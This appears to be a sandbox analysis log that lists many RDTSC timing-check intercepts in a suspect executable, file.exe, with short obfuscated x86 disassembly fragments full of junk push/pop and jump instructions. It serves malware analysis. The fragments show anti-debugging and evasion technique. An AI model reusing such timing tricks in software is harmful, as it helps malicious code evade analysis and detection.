Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00D82 second address: 4B00D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748075h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00D9F second address: 4B00DFE instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6B2CB5B2D6h 0x00000008 add eax, 12B4EAE8h 0x0000000e jmp 00007F6B2CB5B2CBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F6B2CB5B2D8h 0x0000001c adc si, FD48h 0x00000021 jmp 00007F6B2CB5B2CBh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00DFE second address: 4B00E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00E04 second address: 4B00E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6B2CB5B2CEh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6B2CB5B2CEh 0x00000018 xor cl, 00000008h 0x0000001b jmp 00007F6B2CB5B2CBh 0x00000020 popfd 0x00000021 mov ebx, esi 0x00000023 popad 0x00000024 pop ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6B2CB5B2D1h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00E5C second address: 4B00E62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD01B2 second address: 4AD01B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD01B8 second address: 4AD01BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0936 second address: 4AF0959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 4Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0959 second address: 4AF095E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF095E second address: 4AF0994 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6B2CB5B2D9h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0994 second address: 4AF09AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov edx, eax 0x00000007 popad 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B2C74806Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF09AC second address: 4AF09B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF09B0 second address: 4AF09B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF09B6 second address: 4AF09BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF09BC second address: 4AF09C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF09C0 second address: 4AF09C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF051E second address: 4AF053B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF053B second address: 4AF0540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0540 second address: 4AF054F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF054F second address: 4AF0553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0553 second address: 4AF0557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0557 second address: 4AF055D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF022C second address: 4AF0232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0232 second address: 4AF0243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0243 second address: 4AF0264 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2C748074h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0264 second address: 4AF026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF026A second address: 4AF0270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0270 second address: 4AF0274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0274 second address: 4AF0278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0278 second address: 4AF0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2CB5B2CBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0290 second address: 4AF02BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2C74806Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0004F second address: 4B00053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00053 second address: 4B00059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00059 second address: 4B0006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0006F second address: 4B00098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6B2C748075h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00098 second address: 4B0009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30A65 second address: 4B30A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30A74 second address: 4B30AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B2CB5B2CDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30AA1 second address: 4B30B11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6B2C748071h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6B2C74806Eh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F6B2C74806Eh 0x0000001e adc al, 00000028h 0x00000021 jmp 00007F6B2C74806Bh 0x00000026 popfd 0x00000027 mov si, 1B1Fh 0x0000002b popad 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F6B2C748071h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1013C second address: 4B10140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10140 second address: 4B1015B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1015B second address: 4B10173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10173 second address: 4B10191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B2C74806Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10191 second address: 4B10197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10197 second address: 4B1019D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B1019D second address: 4B101CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ch, 5Bh 0x0000000d jmp 00007F6B2CB5B2D5h 0x00000012 popad 0x00000013 mov eax, dword ptr [ebp+08h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 6C13A5CEh 0x0000001e mov cx, bx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B101CF second address: 4B101EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748070h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B101EB second address: 4B10237 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F6B2CB5B2D5h 0x0000000d and al, FFFFFFB6h 0x00000010 jmp 00007F6B2CB5B2D1h 0x00000015 popfd 0x00000016 popad 0x00000017 and dword ptr [eax+04h], 00000000h 0x0000001b jmp 00007F6B2CB5B2CEh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10237 second address: 4B1023D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF034F second address: 4AF0387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F6B2CB5B2CCh 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov di, ax 0x00000018 jmp 00007F6B2CB5B2D8h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0387 second address: 4AF039D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF039D second address: 4AF03A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF03A1 second address: 4AF03A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF03A7 second address: 4AF03AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF03AD second address: 4AF03CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF03CF second address: 4AF03D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF03D3 second address: 4AF03D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00C9B second address: 4B00CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00CB6 second address: 4B00CE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B2C74806Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3002F second address: 4B300C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ch 0x00000005 pushfd 0x00000006 jmp 00007F6B2CB5B2D5h 0x0000000b sbb eax, 63C7D5F6h 0x00000011 jmp 00007F6B2CB5B2D1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007F6B2CB5B2CEh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F6B2CB5B2CCh 0x0000002a adc si, BE48h 0x0000002f jmp 00007F6B2CB5B2CBh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007F6B2CB5B2D8h 0x0000003b jmp 00007F6B2CB5B2D5h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B300C6 second address: 4B300CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B300CC second address: 4B300EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B300EC second address: 4B30107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30107 second address: 4B30135 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2CB5B2CDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30135 second address: 4B3013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3013B second address: 4B3013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3013F second address: 4B30143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30143 second address: 4B301BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B2CB5B2D4h 0x0000000e mov dword ptr [esp], ecx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F6B2CB5B2CEh 0x00000018 sbb eax, 6B539C88h 0x0000001e jmp 00007F6B2CB5B2CBh 0x00000023 popfd 0x00000024 mov ecx, 0E2F1CFFh 0x00000029 popad 0x0000002a mov eax, dword ptr [76FA65FCh] 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F6B2CB5B2D0h 0x00000036 jmp 00007F6B2CB5B2D5h 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f pop edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B301BC second address: 4B301E7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6B2C74806Ah 0x00000008 xor ax, 1148h 0x0000000d jmp 00007F6B2C74806Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 test eax, eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov ecx, 6E831F51h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30313 second address: 4B30321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30321 second address: 4B30325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30325 second address: 4B3033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3033A second address: 4B3036E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F6B311083BFh 0x00000011 mov edi, edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6B2C748078h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3036E second address: 4B3037D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B3037D second address: 4B303E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C74806Fh 0x00000008 pushfd 0x00000009 jmp 00007F6B2C748078h 0x0000000e sub eax, 270F8DC8h 0x00000014 jmp 00007F6B2C74806Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F6B2C748076h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F6B2C74806Eh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B303E5 second address: 4B303EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B303EB second address: 4B30427 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 call 00007F6B2C748078h 0x00000015 movzx esi, di 0x00000018 pop edi 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30427 second address: 4B30456 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 40EFC271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F6B2CB5B2CEh 0x0000000f and ch, 00000048h 0x00000012 jmp 00007F6B2CB5B2CBh 0x00000017 popfd 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B30456 second address: 4B30471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE000D second address: 4AE003C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 60F91E33h 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F6B2CB5B2D0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE003C second address: 4AE0042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0042 second address: 4AE0046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0046 second address: 4AE004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE004A second address: 4AE00AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov cx, dx 0x0000000d mov ah, dl 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007F6B2CB5B2CAh 0x00000017 and esp, FFFFFFF8h 0x0000001a jmp 00007F6B2CB5B2D0h 0x0000001f xchg eax, ecx 0x00000020 pushad 0x00000021 movzx eax, bx 0x00000024 push ebx 0x00000025 mov ebx, eax 0x00000027 pop eax 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F6B2CB5B2D0h 0x0000002f xchg eax, ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F6B2CB5B2D7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE00AE second address: 4AE00B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE00B4 second address: 4AE00B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
